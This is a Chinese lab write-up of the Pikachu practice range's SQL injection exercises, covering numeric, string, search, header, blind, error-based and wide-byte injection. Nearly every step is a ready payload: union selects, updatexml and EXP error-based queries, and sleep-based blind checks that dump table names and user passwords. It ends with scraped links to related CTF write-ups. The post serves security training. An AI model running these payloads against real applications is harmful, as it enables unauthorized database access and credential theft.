Pikachu靶场SQL注入刷题记录
数字型注入
0x01
burp抓包,发送至repeater
后面加and 1=1,and 1=2 可判断存在注入

0x02
通过order by判断字段数,order by 2 和order by 3 返回结果不同,可得字段数为2

0x03
查看表名:
union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

0x04
查询users表中的数据:
union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'

0x05
查询数据:
union select 1,username from users
union select 1,password from users


字符型注入
0x01
加单引号报错,'--+ 返回正常,可判断存在字符型注入

0x02
通过上题可知有两个字段
查询表名:
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

0x03
查询users表中的数据:
' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

0x04
查询数据:
' union select 1,username from users--+
' union select 1,password from users--+


搜索型注入
0x01
单引号报错,判断字段
' order by 3#时正常,' order by 4#时不正常

0x02
已经知道含有users表,直接查列名
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#


0x03
查password数据
' union select 1,2,password from users#

XX型注入
0x01
输入单引号,得到报错信息

可以看到有个)符号,那么sql语句中前面一定有个(符号,所以要将前面闭合,后面注释掉
0x02
输入')#,抓包repeater放包

0x03
判断字段
%27)+order+by+2%23,回显正常

%27)+order+by+3%23,回显不正常,字段数为2

0x04
已知users表,查列名
%27)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'%23

0x05
查密码
%27)+union+select+1,password+from+users%23

insert/update注入
0x01
点击注册,用户名密码输入如下

提交返回

根据报错可推断前面sql语句大概是这样value('xxx',1,2,3,4,5)
0x02
使用updatexml()进行报错注入
' or updatexml(1,concat(0x7e,(SELECT password from users limit 0,1),0x7e),0) or '

Updatexml只能注出32位字符,缺少一位字符,所以改用其他函数
经测试extractvalue()函数也是一样,再换其他函数
0x03
使用EXP函数时成功注出md5
' or EXP(~(SELECT * from(select @@version)a)) or '
' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

Delete注入
0x01
单引号报错

0x02
这种id的值一般都是数字型注入
+or+EXP(~(SELECT+*+from(select+@@version)a))

最终payload:+or+EXP(~(SELECT+*+from(select+password+from+users+limit+0,1)a))

HTTP Header注入
0x01
提示给了账号密码

登录进去
0x02
刷新,抓包

可以看到Cookie中含有ant[uname]=admin,怀疑此处可能存在与数据库交互,因此加单引号进行验证

发现报错,因此,使用报错注入语句
0x03
'+or+EXP(~(SELECT+*+from(select+@@version)a))+or+'

' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

盲注(boolian)
0x01
首先要知道一个用户名(真实环境可自己注册一个)
lili' and 1=1#

lili' and 1=2#

可判断存在注入
0x02
paylaod:lili' and substr(database(),1,1)='字母'#
对数字进行爆破

第一个字母为p
再对第二位进行爆破
lili' and substr(database(),2,1)='字母'#

第二个字母为i
按此方式一位一位进行爆破,可得数据库名为pikachu
盲注(time)
0x01
首先要知道一个用户名(真实环境可自己注册一个)
lili' and sleep(10)#
10s左右才响应,可判断存在时间盲注(或者F12看响应时间)
0x02
爆破数据库名
lili' and if(substr(database(),1,1)='字母',sleep(5),1)#
对字母进行爆破,爆破第一个字母
爆破后将Columns--Response received选中,可看到响应时间


第一个字母为p
爆破第二个字母
lili' and if(substr(database(),2,1)='字母',sleep(5),1)#

得到第二个为i
以此类推,得出数据库名为pikachu
宽字节注入
0x01
抓包在burp中操作
1%df%27+or+1=1#

0x02
判断字段数
1%df%27+union+select+1,2#

1%df%27+union+select+1,2,3#

字段数为2
0x03
查表名
1%df%27+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#

0x04
查列名
1%df%27+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273#
(0x7573657273为users的16进制编码)

0x05
查数据
1%df%27+union+select+1,password+from+users#

更多技术文章请关注Timeline Sec公众号

Pikachu靶场SQL注入刷题记录的更多相关文章
- 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...
- 刷题记录:[De1CTF 2019]Giftbox && Comment
目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...
- 刷题记录:[De1ctf] shell shell shell
目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...
- 刷题记录:[FBCTF2019]Products Manager
目录 刷题记录:[FBCTF2019]Products Manager 一.知识点 1.基于约束的SQL注入攻击 刷题记录:[FBCTF2019]Products Manager 题目复现链接:htt ...
- 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb
目录 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb 一.涉及知识点 1.敏感文件泄露 2.绕过及sql注入 3.文件上传:短标签绕过php过滤 刷题记录:[CISCN20 ...
- 刷题记录:[网鼎杯]Fakebook
目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...
- 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World
目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...
- 刷题记录:[LCTF]bestphp's revenge
目录 刷题记录:[LCTF]bestphp's revenge 一.知识点 1.SoapClient触发反序列化导致ssrf 2.serialize_hander处理session方式不同导致sess ...
- 刷题记录:Shrine
目录 刷题记录:Shrine 刷题记录:Shrine 题目复现链接:https://buuoj.cn/challenges 参考链接:Shrine 解此题总结一下flask的SSTI:CTF SSTI ...
随机推荐
- Codeforces Round #646 (Div. 2)【B. Subsequence Hate题解】
具体思路已经在代码注释中给出,这里不再赘述. #include<iostream> #include<algorithm> using namespace std; int t ...
- jchdl - GSL值的传播
https://mp.weixin.qq.com/s/jgMljoca-Cwe9x0NaTLzZg GSL的拓扑模型是线和节点连接的模型,值的传播,即是值在线和节点之间传播和转化的过程. 值的 ...
- jchdl - GSL实例 - DLatch(D锁存器)
https://mp.weixin.qq.com/s/c8kDgye50nKJR4tkC0RzVA D锁存器对电平敏感,当使能位使能时,输出Q跟随输入D的变化而变化. 摘自康华光<电子 ...
- [C#.NET拾遗补漏]01:字符串操作
字符串操作在任意编程语言的日常编程中都随处可见,今天来汇总一下 C# 中关于字符串的一些你可能遗忘或遗漏的知识点. 逐字字符串 在普通字符串中,反斜杠字符是转义字符.而在逐字字符串(Verbatim ...
- 面试题: hashset如何保证值不会被重复的
个人博客网:https://wushaopei.github.io/ (你想要这里多有) 众所周知,HashSet 的值是不可能被重复的,在业务上经常被用来做数据去重的操作,那么,其内部究竟是怎 ...
- Java实现 LeetCode 565 数组嵌套(没有重复值的数组)
565. 数组嵌套 索引从0开始长度为N的数组A,包含0到N - 1的所有整数.找到并返回最大的集合S,S[i] = {A[i], A[A[i]], A[A[A[i]]], - }且遵守以下的规则. ...
- Java实现 LeetCode 561 数组拆分 I(通过排序算法改写PS:难搞)
561. 数组拆分 I 给定长度为 2n 的数组, 你的任务是将这些数分成 n 对, 例如 (a1, b1), (a2, b2), -, (an, bn) ,使得从1 到 n 的 min(ai, bi ...
- Java实现字符串的旋转
1 问题描述 给定一个字符串,要求将字符串前面的若干个字符移到字符串的尾部.例如,将字符串"abcdef"的前3个字符'a'.'b'和'c'移到字符串的尾部,那么原字符串将变成&q ...
- Java实现第八届蓝桥杯兴趣小组
兴趣小组 为丰富同学们的业余文化生活,某高校学生会创办了3个兴趣小组 (以下称A组,B组,C组). 每个小组的学生名单分别在[A.txt],[B.txt]和[C.txt]中. 每个文件中存储的是学生的 ...
- 关于Synchronized的偏向锁,轻量级锁,重量级锁,锁升级过程,自旋优化,你该了解这些
前言 相信大部分开发人员,或多或少都看过或写过并发编程的代码.并发关键字除了Synchronized(如有不懂请移至传送门,关于Synchronized的偏向锁,轻量级锁,重量级锁,锁升级过程,自旋优 ...